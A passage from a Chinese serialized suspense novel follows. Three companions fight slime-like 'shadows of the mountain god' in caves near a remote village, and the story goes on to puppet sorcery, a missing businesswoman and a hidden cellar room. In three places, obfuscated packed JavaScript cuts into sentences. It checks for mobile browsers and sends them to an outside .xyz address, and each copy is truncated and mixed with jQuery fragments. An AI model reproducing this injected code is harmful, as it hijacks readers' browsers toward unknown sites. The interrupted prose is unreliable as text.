破碎的灯,遗落的武器,还有速写本上被撕去的秘密,都显示着这些东西的主人很可能遇害了。 “会不会是土匪?”周筱安冷静了一些。 土匪是解放初逃进天坑的,大概是在1950年左右。 而这本速写本里落款的日期是民国二十九年,也就是1940年,比1950年早了10年。 不排除这些东西的主人是在画了那些速写的十年后才来到这里,进行探险或调查。但从这几样物品的保存情况来看,屠南更倾向于这个人是突然被拖走的。 军刺被称为最残忍的兵器之一,因为相比于普通的长刀,它的中间有一个巨大的凹槽,据说是为了快速拔刀和放血而设计的。 而她面前的这把并未投入过使用。 周筱安不想轻易放弃:“按照这张图,出去的路就在我们面前,并且从当前来看,这看起来没有任何危险……” 那就只有去试一试。 这也算是个折中的办法,如果有危险就原路返回,如果没有危险,也没有平白无故放弃一条近在眼前的出路。 余一舟还是有些犹豫:“那天被他们挟持时,李萍说过,如果有人去偷山神的宝藏,会被山神的影子吃掉……” “你真相信有山神的影子?”周筱安差点笑出声。 在他看来,那句话明显就是说给那几个傻子听的,这居然还有一个傻子当真。 余一舟正色:“屠南捡到的那张手绘图,如果真的是刘虎刘豹寻宝时留下的,他们人去了哪?” “发现被骗了,把图扔了,回去了呗。”周筱安看起来十分笃定。 余一舟:“还有那条绳梯,就这样出现在这里,你不觉得太巧合了吗?” 周筱安立刻反驳:“你没听小老板说,她那个傻子叔叔住在天坑。说不定他就住在这个洞里,绳梯是他回家用的。” “如果这地方开放通风能住人,这些东西怎么可能保存的如此完好?”余一舟反问道。 二人相持不下,看向一言不发的屠南。 “我去探路,你们在这等一会。如果有危险,你们立刻离开,原路返回。” 周筱安对屠南的提议十分满意,当即表示大家都是一个团队,这种危险的事不能让她一个人扛,自己也要去。 三人行,少数服从多数。 余一舟问周筱安要来了他随身携带的止血药粉,用于进洞后做标记,以免遇到危险需要原路返回时找不着北。 说到止血药粉,屠南从背包里掏出个急救包,指了指余一舟的脖子,扔给了他。 毕竟一会进了洞,谁也顾不上谁,要是伤口有什么问题,余一舟也只能自力更生了。 至于地上的三样东西,一人随身带一样出去,周筱安选了速写本,屠南让余一舟先选,剩一个给自己就行。 余一舟捡起剩下的两样,把军刺递给屠南。 分好东西,三人正式出发。 按照那张示意图,下一个洞口应该就在左前方。洞道逼仄,弯腰低头,勉强能通过一个成年人。这一次周筱安走在了最前,屠南在中间,余一舟在最后。 起先,屠南只是觉得步速渐慢,再走了两步,前面彻底停了下来。 周筱安:“这是条死路……” 他挤过岩道最窄的部分,前方是一片宽敞些的空间,但宽敞也只是相对的,那地方满打满算最多同时站四五个人,并且完全没有地图上标的洞口。 屠南接过周筱安传来的地图反复确认,方向没错:“会不会是像二仙庙的地下空间一样,有什么隐藏的机关。” 周筱安像之前在二仙庙里找机关一样,对着洞道四周的石壁又拍又摸。突然,他在一块凸起的石头前停了下来,缩回的手握成拳,呈防备状举在胸前。 通过指尖传来的奇怪触感已经到达大脑,他感觉自己刚才摸的不是一块没有生命的石头,而是一个会呼吸的生物。 那东西的皮肤虽然看起来像岩石,但黏滑,有弹性,甚至能感受到一丝丝体温。 周筱安伸出一根手指向那块奇怪的岩石戳去,只见岩石中也突然伸出一根像手指的东西,正好与他指尖相对。 一声刺耳的尖叫后,屠南和余一舟失去了光明。两人几乎同时转身,又扶着洞口低下身看去。狭窄的洞道尽头,也就是他们来时的洞口,连之前那一丝微光也不见了,好像被什么东西堵住。 “卧槽!什么鬼!”余一舟颤抖着打开手机手电。 恍惚中,寒刃出鞘,屠南竟用刀刺向石壁,然而军刺刺在岩石上并没有发出金石碰撞的声音。 一阵粘液流动的声音过后,两团黑乎乎的东西脱离岩壁,将屠南包裹在里面。 黑物脱壁处,留下一个椭圆形的大洞,光影闪烁,还能听到周筱安的声音。 “你是怎么进来的!” 余一舟贴着岩壁挪动到那个突然出现的洞口,里面是一条正常的洞道,周筱安已经从地上爬起来,正扶着岩壁准备出来。 “外面怎么回事?” 余一舟没回答,他并不比周筱安更清楚眼前的状况。他只是看到那两个脱壁的东西有几分像人,但并不像人类一样直立行走,而是以爬行动物、软体动物的方式移动,他们伸展出的几条暂且称为肢体的东西,能做出各种不可思议的扭曲动作。 “屠南被困住了,快来帮忙!” 二人的加入,帮屠南引开了部分火力。 屠南找准时机抽回右手,将军刺狠狠刺入黑物的身体,又迅速拔了出来。那个缠绕在她脖子上和人类胳膊差不多粗细的东西似乎失去了控制,从她的胸前滑落,但很快又恢复了“活力”,只不过它的猎物已经趁其不备逃走了。 屠南从黑影那里抽身,立刻进洞去找余一舟和周筱安。他两人刚才还在大叫,这会这么安静怕是情况不妙。 果然,距离洞口不远处,周筱安和余一舟正被另一只黑物按在地上摩擦。由于被勒住气道,两人的脸憋得通红。 经过刚才的缠斗,屠南大致摸清了这东西的路数。它没有口,也许它有,只是隐藏在粗厚黏腻的皮肉中。但它并不用口,它总是像这样用柔软的肢体死死缠绕在人的脖颈和肢体上,让猎物彻底失去反抗的意志。 屠南一手持军刺,利落地刺入黑影的肢体和身体连接处,另一手握工兵铲,向缠绕在周筱安脖子上的那条“胳膊”袭去。 “跑!” 她大喊一声,短暂脱离黑影魔爪的二人强行发动绵软的四肢,连滚带爬向前冲去,好在这条洞道不算窄,三人并行,也不至于交通堵塞。 只不过没跑几步,余一舟和周筱安就先后头重脚轻地栽倒在地。 那怪物没追来,据屠南说,它们又重新嵌进石洞,还发出一声哈气声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821834|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周筱安抚着胸口:“这又是什么幻术?” 屠南的回答令他心碎:“不知道。” “那个笔记……” “没写。” 嘴巴可以自欺欺人,但脑子很难。周筱安虽然极不愿承认,但心里清楚这极有可能就是“山神的影子”。 他小声嘟囔:“这个黑乎乎的东西是什么?动物?植物?” 余一舟终于知道了那声哈气声的由来,舔了舔干燥的嘴唇:“现在问这些有什么用,两边的路都被堵死了。” 屠南向他伸出手:“地图在你那吗?” 余一舟从口袋里掏出地图,递给她:“现在每个洞口都被封住了,很快我们手里这张图就会变成废纸一张。” 说完,他又觉得自己太过理想主义,明明现在就差不多是一张废纸。 屠南盯着图,“左右右左”念了会,接着对他俩说:“看来我们只有记住这些方向,强行打开一条通路。” 周筱安惊魂未定,瞪大了眼:“你的意思是,我们按照图上的路线主动向那些堵住洞口的怪物发起攻击?” “对。”屠南言简意赅。 “这会不会太冒险……”虽然有句话叫进攻就是最好的防守,但完全搞不清状况,贸然进攻又何尝不是一种送人头行为。 余一舟难得和周筱安在统一战线:“是啊,我们一路过来,目前只过了两道关,现在退出去有危险,不过也比继续深入要容易些。” 屠南没有急于争辩,她的眼神平和且炽烈,像两团静静燃烧的火焰:“我会继续沿着图上的路走,你们可以选择和我一起向前,或者自己原路返回。” 余一舟明白,搭车的总不能要求开车的改道。 “那接下来我们要怎么做?” “……那东西的身体协调性差,可以重点攻击他们的肢体和躯干连接处。” 毕竟是三人中唯一能和黑影对抗的人,余一舟和周筱安“听话地”接过屠南递来的工具。 “屠屠,我承认刚才坚持走这条路是我的错,可你为什么还要坚持走这条路?也许这张图根本就是走不通的……”周筱安忍不住多了句嘴。 屠南犹豫了一下,还是说出了自己的想法。她听余一舟说过,在与李春梅通话中听到过哈气声,她怀疑李春梅的失联可能与这东西有关,而李春梅的失联又与当年沈垚的失踪相关…… 简而言之,正是这些黑影让她坚定了一条道走到黑。 说到李春梅,余一舟那七万块已经到账。按说他们甲乙双方也算是钱货两讫,互不相欠,不过细想之下又有些蹊跷。 她连转账都能操作,为什么不能正常通个电话,露个面?难道真如屠南所说,她被黑影控制了? 那引他们来到这的就是黑影?那扭曲成一团看起来不太聪明的奇怪生物怎么看都不像是能轻易操纵人类的……况且如今他们已经在这了,那些怪物却什么也没做,这又是几个意思。 余一舟有预感,这些怪物也是被什么所操纵,就像那天在戏台看到的傀儡人一样。 好奇像是一株藤蔓,深植于他的内心,重重拔起,还能牵扯出一些其他感觉,诸如不安。 他不知道,与此同时在他旁边的周筱安也深有此感。从昨天到现在,他们掉进水潭,泥洞,这次又是山洞,每次都险象环生,可危险就像海洋馆里隔着玻璃罩的食人鲨,亮出锯齿,带着杀意无限向他们逼近,又不曾真的要了他们的命。 杀人不过头点地,这一次又一次的,怎么还折磨个没完了。 20. 老照片 周筱安根据手机上发来的定位,找到了一辆停在天坑外路边的越野车。车子驾驶室和副驾上坐着一男一女。 男人带着渔夫帽和墨镜,蜜色皮肤,肩膀宽大,白色的短袖T恤下面隆起发达的肌肉。女人金发双马尾,眼妆夸张,一套清爽的户外穿搭,嘴里嚼着口香糖。 看到周筱安凌乱的头发和淤青的嘴角、眼角,男人打开车门,下去接应。 “地图我们都走过一遍,没有问题,你怎么受伤了……” 周筱安拍开他指向自己伤口的手,抱怨道:“金不换,你们之前进洞时就没发现什么异常?” 男人没来得及回答,就见副驾上的女人推开车门,幸灾乐祸地跑到周筱安面前,侧头仰视他狼狈的样子。 “哎呀,真假的?没有啊。我们就是按照从刘豹手机里搜到的那张图进去又出来,地图我还专门在纸上誊了一遍,不都给你留在附近了吗,你这是玩手机没看路,掉沟里了?” “隋影……” 金不换叫了女人一声,那个叫隋影的年轻女人这才收敛了一些。 周筱安大概描述了三人被黑影伏击的经过,金不换听得眉头紧锁:“你说的这个怪物大概长什么样?” “无法形容,高矮胖瘦都有,每只都不一样,有的和人很像,有的像软体动物,仅从外部看不到他们的眼睛鼻子嘴巴,简直就是一团混沌……这都不重要,关键是它们分泌出的粘液的气味和我爸身上的死鱼味很像。” 金不换换了副严肃嘴脸:“要不,再进去看看?” 周筱安摇头:“不了,刚才要不是屠南,我可能真的要被永远留在里面了,那东西很危险,在搞清状况前我们没必要做无畏的牺牲。” 说完,他又补了一句:“怪不得那些去找山神宝藏的人有去无回。这洞是活的,它想让你出来就让你出来,想留下你就留下你。” 听周筱安说完,隋影停下了踢石子的脚:“所以山神今天是想让你们留下?” 周筱安为自己的劫后余生发出一声长叹,接着说:“我倒觉得是手下留情,没想置我们于死地。” 隋影歪着头:“这山神的宝藏到底是什么?一个名不见经传的采宝家族能留下什么了不起的东西?” 周筱安对她这个跑题的问题翻了个白眼:“不知道。” “那我俩一进一出怎么毫发无伤?难道靠人品?” 周筱安冷哼:“靠蠢,山神怕吃了蠢人会变笨。” 隋影很乐观,扭头看向金不换:“师兄,他骂你笨呢。” 见金不换抱着胳膊无动于衷,她又回头看向周筱安:“您倒是聪明,有什么大收获?” 周筱安掏出他的战损版水果手机,把拍到的岩画照片发到三人的微信群组。 隋影也拿出自己的手机,跟他展示:“你发的这些,我俩都拍过,比你这个清晰多了……” 周筱安撇嘴,掀起卫衣,拿出他一直贴身保护的皮面速写本:“这个呢?” 隋影接过速写本粗略地翻看了一遍,又递给金不换。 金不换将目光锁定在其中一张不知名的男性人物素描上:“这个人和你爸那本《御纂医宗金鉴》里夹的老照片上的人很像……” 周筱安赞许地拍了拍金不换的胳膊,又贱嗖嗖地对隋影说:“你说,这人与人之间的差距怎么就这么大呢?多跟你师兄学学,这个你也拍了吗……” 显然,隋影和金不换进洞时就没看见这个速写本。 她讪讪地说:“那最后一页的雲木天王是什么意思嘛?” 周筱安感觉自己雇隋影当保镖,简直是在雇人整顿自己。 “大姐!你什么都问我,咱俩谁给谁发钱……对了,阿秋还没找到?” 隋影被呛声,很不爽,没搭理他,回车里坐着去了。 金不换接过话:“没有,很有可能是有人先下手了。” 周筱安推断,不是屠南、余一舟和李萍,这三人一直与自己在一起,很有可能是李学昌。 金不换却认为屠南是这些人中最可疑的。他没怎么见过她的正面,但在李家大院检查后院的木制瓦房时,恰巧看到她爬窗的背影。 农村自建的三层小楼没多高,真正让他感到奇怪的是她的姿势和发力,怎么说呢,就是异于常人,敏捷得瘆人。为此他不止一次提醒周筱安,小心屠南,离她远点,但周筱安也不知道怎么想的,明显没当回事。 隋影听师父说屠南身手敏捷,立刻按下车窗问道:“有我敏捷吗?” 周筱安抢答:“也就比你那个不标准版的壁虎游墙强一百多倍吧。” 隋影这个武术世家的后代,被周筱安说没眼力见、没脑子她都不在乎,但要说她身手不济……在金不换的注视下,她恶狠狠地把口香糖吹了个泡泡,又咬破,鄙夷地关上车窗。 周筱安心说生气了好,生气了就不能赖在这不走。他让金不换和隋影立刻想办法去主城,调查那张老照片背面标注的流光照相楼,看能不能顺藤摸瓜,查到这个人的真实身份,也许“雲木天王”就靠此破解了。 “还有亚利洋行的马灯和金陵兵工厂的军刺。”他补充道。 照相楼虽然年代久远,好歹范围小。马灯和军刺都是量产的,他自己也知道这无异于大海捞针,但也不排除这两样东西对调查那人身份会起到帮助。 光听他把自己和隋影安排得明明白白,金不换问:“那你呢,下一步准备怎么办?” 周筱安可不是要逃避劳动,夏节庆典、天湖、太阴之水都还没搞清楚。另外,他还有一件更重要的事要去做。 阿秋还没找到,金不换不同意周筱安独自一人留在石船村,这次私下陪他来石船村调查已经犯了掌柜的也就是周筱安他妈的忌讳,要是他再出什么事,只会引来更多麻烦。 “师兄你放心去吧,不是还有我吗?肯定不能让他死咯,不然谁给咱结账啊!”隋影阴阳怪气完,剜了周筱安一眼,又给金不换比了个OK的手势,比完还在胸口锤了两下。 周筱安正在手机备忘录上敲字,没看到她那精彩的小表情,应付着同金不换说:“是啊金哥,实在不行就让隋影留下。她虽笨,但身手对付两三个阿秋都绰绰有余,你就放心吧。” “可屠南……” 金不换不知自己一句话彻底激起了隋影的胜负欲,原本她留在这只是想替师兄分担,这下势必要找个机会与屠南比试一番,分出个胜负才行。 周筱安看出了她的小心思,用两根手指指了指自己的眼睛,又指向她:“你,我另有他用,多干点正事 ,少给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821835|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹麻烦。” 说完,他开门坐在越野车后座上,继续看手机。破碎的屏幕上是他刚写下的关于屠南和余一舟的记录—— 【屠南:四肢异常灵活身手极好精神状态不佳疑似有精神分裂没有童年(记忆)与速写本中一张女性画像撞脸(不排除有亲缘关系)疑似与王家旧事有关】 【余一舟:抠门毒舌有较强推理能力私家侦探因钱卷入李春梅事件其师父与湖城商报有联系不确定是否还有其他关联】 ****** 李萍发现屠南时,她正翘着二郎腿躺在那条满是碎石子的斜坡上。 听到脚步声,她撑着胳膊欠身而起,看到是李萍,又躺了下去。 李萍以为她是晕倒了,赶紧跑过来。离近才发现她翘在腿上的脚还在晃。这哪里是晕倒,分明就是躺着休息,再仔细看,还在玩手机。 她吸了吸鼻子,空气里弥漫着一股腥臭味,离屠南近一些,就重一点,远一些,就轻一点。 “你们遇到影子了?” 屠南平静地嗯了一声。 李萍:“就你一个出来!” 屠南:“没,他们俩走了,我殿后。” 李萍:“怪不得……他们太过分了,留你个人在这!” 屠南:“是我让他们走的,你没看到余一舟吗?听说,他去找你帮忙了……” 见屠南看手机看得入迷,李萍没忍住瞟了一眼,屏幕上有图有字的,好像是《山海经》,女丑…… 屠南抬头,正好对上李萍偷瞄她手机的眼。看她不自然飘走的眼神,屠南坐起身,拍了拍旁边的地,示意她一起坐:“女丑是上古神话中的人物,传说她是个女巫,求雨时被暴晒而死,她也有一只大蟹,很像里面岩画上的那个小人……” 李萍:“……” “对了,二仙庙的白莲仙君是什么来历?你们这里不是崇拜修鱼子吗?为什么那个女仙会在主位?” “这个是因为……其实我也不晓得……” 屠南看着李萍,这个表情她见过,上次问到肉傀儡时,她也是这个表情。 李萍转移了话题:“我没看到余一舟,可能错过了。” 错过了,她还能找来,屠南狐疑地盯着她。 李萍这才想起自己是干什么来的,从口袋里掏出一瓶云南白药塞到她手里:“周筱安给我发了微信,说你在这受了伤,让我带药给你……他还给我发了笔转账,我没要。” 屠南没去看她在自己面前晃的手机聊天记录,全神贯注地拔开云南白药的瓶盖,对准自己的肘关节喷了两下:“哦,他回去了?” 她看起来没怎么伤,喷起药来左一下,右一下,甚至还想喷背后。 “还没……我帮你喷吧。” 屠南没反对,李萍帮她脱下外面的衬衫,掀起里面的T恤,背后四五处淤青触目惊心,一下一下喷上去,感觉喷满了整个后背。 帮她拉好衣服时,她还看到屠南的脖子上有一丝极细的割痕,那位置看起来十分凶险,似乎稍不留神,就要人首分离。 “屠南,那天我撒了个谎,其实我……听说过肉傀儡。” 屠南活动肩颈,鼻子轻声吭气:“为什么现在告诉我?” “因为你有办法活着从洞里出来……” 21. 密室 余一舟睁开眼,后脖颈生疼。他哼唧了几声,正要起来,迎面突然出现了一个目光呆滞的女人,怀中还抱着一个孩子。 他两手撑地,两条腿子蹬得飞快,惹起一阵浮尘:“李……李春梅!” 他终于见到李春梅了,但不是靠自己找到的,而是被人打晕了带到她面前。 他的手机不见了,应该是打晕他的人拿走的。 余一舟捂住鼻子,尽量不让屋子里的霉味和土尘吸进肺里,半撑身体把周遭情形环顾一遍。 他们所在的房间目测二十平方左右,户型方正,只有一扇小窗,贴着墙顶延伸出天花板。入口的门有两层组成,一个围栏式的老式明锁铁门,铁门外还有一道木门。除了四面墙,房间里堆放了很多货架。视线穿过空货架可以看到,几副碗筷随意摆在角落。 碗筷后面还堆了个人,一个女人。女人的脸被长发盖着看不到,从她的占地面积可以看出她个头不低,很瘦。短款白色卫衣和黑色长裤上都是灰,枕着胳膊侧躺在地上一动不动,露出腹部的皮肤和运动内衣的底边。 余一舟不用细看就猜到,她就是张建平的情人秦潇潇,那李春梅怀里抱着的小孩岂不就是:“西西!” 看他伸手指向怀里的孩子,李春梅终于有了点反应:“别碰我的孩子!” “你们怎么会被关在这?” 李春梅没回答,背贴着墙,抱着小孩一屁股坐在地上。 余一舟举起双手,表明自己没恶意,也没想和她抢孩子,小步向她靠近。 确定了她怀中的小女孩身体轻微起伏,还在呼吸,余一舟略微放下心。就是凭他不太丰富的生活经验也能看出小孩脸色不正常,红彤彤的,似乎在发烧。 “她是不是生病了?” 余一舟这次学聪明了,没伸手,只是努了努嘴。 尽管如此,李春梅还是十分戒备,瞪了他一眼,又温柔地把手贴在孩子的红脸蛋上:“小涛不怕,妈妈在。” “我这只有这些酒精湿巾,如果需要物理降温,你可以试试。” 刚才在岩洞里,屠南给了他一个急救包,他没背包,中途手上不好拿,就抓了几片酒精湿巾放进口袋里,没想到竟在这派上用场。 李春梅二话不说,将他递来的棉片抢了过去,继续对着小孩自言自语,说些他听不懂的话。 余一舟叹气,李春梅、秦潇潇的精神状态都不太正常,与其继续耗着,他还不如看看门的结构,说不定能打开呢。 刚走到门口,就听到钥匙捅锁眼的声音。余一舟悄悄把手插进口袋,心提到了嗓子眼。 木门咿呀咿呀地开了,露出半颗脑袋的李学昌没料到余一舟就站在门后,被吓得躲闪到一边,半天才伸出头。 他没说话,用一只粗糙大手从门缝里递进来一个铁饭盒,饭盒的盒盖没盖紧,滴下来的菜汤刚好落在余一舟的鞋子上。 “你把我鞋弄脏了,你赔我鞋!”余一舟一手抓住饭盒不放,另一只手穿过栏杆,趁机抓着李学昌的衣袖。 铁门被摇得直晃,发出巨大声响。那个身上酒气还没散尽的老人吓坏了,喊叫着挣脱了。 之后,他重重关上了外面的木门,又反锁了一道。 余一舟满意地抽回手,拍掉手上的药粉,冲李春梅招手:“李总,吃饭了!” 他推测自己不见了,其他人一定会想到李学昌,这样一来他刚才抹在他衣服上的药粉算是一个只有他们三人知道的求救信号。 李春梅没回应,呆呆地靠在墙上。余一舟只能捧着饭盒去找她,想到秦潇潇也没吃,他拿起地上的碗筷分出一份放在她面前。 闻着扑鼻的菜香,余一舟忍着口水,心里泛起嘀咕。 饭盒里的蒜薹炒肉、青椒腊肉和炒香干,这些都是他们离开李家大院前,李萍在准备的午饭! ****** 李萍夹起一片肥瘦相间的腊肉放进嘴里:“当年,我爷爷就是为了一口肉拜了师。进门才晓得师父教他的不是画符、扶乩,而是一种邪术,叫肉傀儡。这种傀儡术可以控制所有活着的东西。” 而他们所做的一切,都是为了侍奉山神。 山神就是修鱼子,修鱼子就是他们所说的山神。白莲仙君据说是给了修鱼子生命的神,就在天湖里。至于天湖在哪,李萍只知道在天坑,但她从来没见过。 “白莲仙君给了修鱼子生命,那她是修鱼子的母亲?”屠南问道。 这样一来,白莲仙君与修鱼子的关系就如同圣/母玛利亚与耶/稣。 李萍摇头,关于白莲仙君和修鱼子的事她知道的不多,整个村子里,应该也只有王家的老人比较清楚。 屠南静静地听她说,筷子在米饭碗里打旋,把米饭中间掏了个洞。 按照李萍的说法,李萍的爷爷李旺还有一个姓吴的和一个姓冯的是他们师父教的为数不多的外姓人,其他人都姓王,这些人的师父就是王莽子的爷爷王太平。 当年王莽子的老汉也就是王太平的亲儿子在比试傀儡术时输给了李旺,心有不甘喝农药死了,没过多久王莽子他妈生重病走了。 李旺成了村子这一代的傩师,中间因为某些原因断了二十年的档。改革开放后,他又重操旧业,后来传给了李萍她爸。 李萍她爸离开后,李旺一度想把这个技艺传给王莽子。但王莽子是个傻子,一点也学不会…… 屠南突然放下筷子:“所以傩师家不能离开石船村是因为山神?” 李萍点头:“傩师只要活着一天,就要为山神做事。他既是使傀儡的人,也是被操纵的傀儡。” 屠南又问:“那肉傀儡秘术究竟是什么?” 李萍:“只有成为傩师或傩师弟子才能知道。” 屠南想起张洪涛的笔记,又问了句:“你认识张洪涛对吧?” 李萍点头。 张洪涛很多年前就来过这里,后来为了调查沈垚失踪,又曾多次来到石船村,李萍被他的坚持打动,偷偷带他去了二仙庙和溶洞。他们原本约定这次夏节庆典一起行动,彻底查清沈垚失踪的秘密,没想到却等来了他的死讯。 “夏节庆典,又是夏节庆典……”屠南小声说,“这世上真的有山神?” 见李萍不吭声,她又问:“你见过山神吗?” 李萍回答:“只有傩师还有王家人才能去见它。” “去哪里能见到它?” “夏节庆典送祭品时,会看到山神显圣。” 夏节庆典会送祭品到天湖,她知道了天湖在天坑,但这信息似乎没什么用。她去过天坑,里面有树,有小溪,但绝对没有湖,连大一点的水洼都没有。 屠南又重复了一遍她在第一次和李萍见面时问过的问题:“夏节庆典是什么时候?” “不晓得。” 这个问题李萍也给不了她确切的答案,她只知道夏节庆典的日子与太阴历有关,这个太阴历并非大家所熟知的阴历,她也不懂。 ****** 屠南被丢进房间时,余一舟正靠在墙边盘腿打坐。听到门口有动静,他睁眼一瞧,只见铁门开了个缝,被推进来的人身体软趴趴地跌在地上,定睛看,正是屠南。 怕里面的人跑出来,铁门和外面的木门都关得很急。 余一舟冲过去,对着屠南的胳膊和脸晃了晃,那对阴森森的眼睛蓦地睁开,嘴上发出“嘘”音。 发现她是装的,余一舟用气声问:“怎么只有你,周筱安那个王八蛋是不是叛变了?” 屠南没说话。 余一舟愤愤不平地继续说道:“我一直搞不懂,他怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821836|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能知道我给他备注了妈宝男。我苦思冥想,只有给李春梅发的微信截屏上有。但这张图我又没发给他,他怎么能看到?除非他能看到李春梅的手机……” 屠南哦了声,没有露出他意想之中的惊讶表情。 余一舟愣了愣,问她是怎么进来的。 她连山洞里的那些分不清是人是鬼的影子都打的过,怎么也会被老头打晕,扔进来?难道是李萍…… 事实证明他想的有点多,屠南活动筋骨坐起身:“当然是为了找你。” 她让李萍带自己去找李学昌,又在李学昌的胳膊上看到了药粉的印子,猜到余一舟可能被关起来了。一顿盲找太费劲,干脆和李萍配合,演了一出戏…… “所以这是哪?” “一个不上不下的位置。” 刚才趴在李萍背上被送进来的时候,她眯眼看过。这个地方在李学昌卧室床头抵着的假墙后面。盖房子的也是卧龙凤雏,竟在那么小的位置里掏出个下沉空间,所以才会有那扇奇怪的窗户。这就相当于是把一个房间又向下挖了一些,然后一层变两层。 余一舟似懂非懂,还是先说正事:“那个小孩烧得厉害,我们可能要想办法尽快送她们出去。” 屠南看了李春梅和西西一眼,又看了看身后的秦潇潇:“她们都在这啊,只是……” 她严重怀疑余一舟忘了他们是为什么没能离开石船村的,没车加封路啊! 她起身走向李春梅,半蹲在她面前:“你好,我就是屠南。” 见李春梅缓缓抬起头,屠南解释了自己和张洪涛的关系,以及那张照片的由来。 “关于沈垚短信的具体内容我可以告诉你,不过我想你已经知道了。” 她知道了!她怎么知道的?什么时候知道的?相比李春梅,余一舟的反应更激烈。 屠南继续问李春梅:“储藏间的那本笔记是你留下的?” 李春梅点头,那是她在被带走时,怕被发现,丢在柜子下的。 余一舟如五雷轰顶,李春梅不仅什么都知道,还有理智,难道她的精神失常都是装的! 李春梅把怀中的小孩放在地上解释道:“自从到了这里,我的脑子就时而清醒,时而糊涂……” 糊涂的时候,她会把这个孩子误认成没长大的张洪涛。 屠南把肉傀儡秘术的发现告诉了二人,所谓的精神控制,其实就是这种邪术…… “……时间紧迫,我们长话短说。你是开车来的吗?” 李春梅摇头,她怕被家里发现,坐飞机来的山城,又在主城找了辆车送她到了黄水铺,她和李学昌约定在那里见面。至于秦潇潇和西西,她被关进来时,她们就在这,她不清楚她们是怎么来的。 余一舟疑惑:“所以,你来这不是为了见屠南?” “是,也不是。我来这是为了小涛,李学昌说山神可以复活我儿子。而屠南,就是和山神交易的筹码。” 可是山神要屠南做什么? 说到复活,余一舟忍不住叹气:“李总,您也是做大生意的人,怎么还能信这种……复活这种事想想就不可能嘛。” 屠南看了眼时间:“现在说这些也来不及了,你们待在这都会有危险。” 余一舟:“你是说我们都有可能成为祭品?李学昌看样子应该不难对付,要不我们先想办法离开这,藏起来,等明天通车……” 屠南犹豫了一下,还是说出了自己的想法:“李学昌可能也只是个傀儡。” 她在李学昌的衣服上闻到了很大的酒味,但他口中反而没什么酒味,还有他迟钝的反应,这更像是把一个不正常的傀儡伪装成醉酒的正常人…… 余一舟皱紧了眉:“你是说真正危险的人还潜藏在我们看不见的地方?” 那会是谁? 22. 七星之光 趁李学昌不在,李萍用偷来的钥匙打开门,悄悄溜进密室。 余一舟拿到她送回来的手机,告诉她,屠南从小窗户翻出去重探地下溶洞了,说是有什么重要的东西可能在那。 “如果再找不到离开你们村的办法,我看也只能报警了。” 看他置气的样子,李萍反问:“报警说什么?撞鬼?还是噩梦睡不着?” 她说的这些余一舟还真考虑过,石船村的事要是现在找帽子叔叔,最多算个非法拘禁,那些超自然的怪事还有湖城商报的事大概率会因为证据不足,最终不了了之。 李萍看穿他的心思:“你去吧,大不了就失去唯一一个找到真相的机会。” 余一舟被她说的心痒:“那怎么办,就这样干坐着,等真相从天上掉下来?” 搞不好真相没掉下来,他先成祭品上桌了。 李萍从口袋里拿出儿童退烧药和一个小水杯,让余一舟帮忙一起给西西喂药,嘴上说着:“现在最重要的问题是,我们不晓得夏节庆典好久开始。” 也就是不知道他们什么时候成祭品。 余一舟眼睛一亮:“听屠南说,你们有个太阴历……” 太阴历确实有,但只有傩师和王家人懂。 “我知道你不知道,不过我有个办法。沈垚失踪是哪一年哪一月哪一天,倒推一下,看看当天发生了什么大事。既然和太阴历有关,估计和月亮有关。” 余一舟说的这些李萍和张洪涛何尝想不到。张洪涛查过从2018年以来历年月食记录,李萍还把自己印象中举行过夏节庆典的年份和大概日期提供给了他,最终还是瞎子点灯白费蜡。 “2018年7月有一次血月,当时被称为本世纪最长月全食。” 血月就是月全食。 余一舟问:“然后呢?” “但沈老师不是那时候失踪的。” “还有没有其他的……”余一舟想说月亮的运动又不只有月全食。 “比如北斗七星,二十八星宿……”他只当天上的东西都和月亮差不多,但其实阴历之所以叫阴历,和阳历的区别就在于,一个是以月亮的阴晴圆缺为周期,一个以地球绕太阳公转为周期。 “……” “算了,咱俩也别赶鸭子上架,硬推天文历法了!从现在开始,你盯着你二爸,我盯着王家人,只要他们有异动,估计夏节庆典就要开始了。” 李学昌,或者说他背后的人总不能提前太久就把他们都关在这吧,夏节庆典一定快开始了! “你准备咋个出去?”李萍看向余一舟。 “还是要隐蔽,不能让他们察觉,帮我搞个人偶过来。还有,从周筱安的包里拿一身衣服。” 他的初步想法是由人偶替他躺在这,自己出去盯梢。 “那她们呢?”李萍指了指李春梅三人。 余一舟深思熟虑了一番:“不是还有你的车吗,把车钥匙借我一下。一会天一黑我就开车先把她们送出你们村。” 李萍似乎很紧张,一直在搓手。 “可是,她们怎么从这出去?” 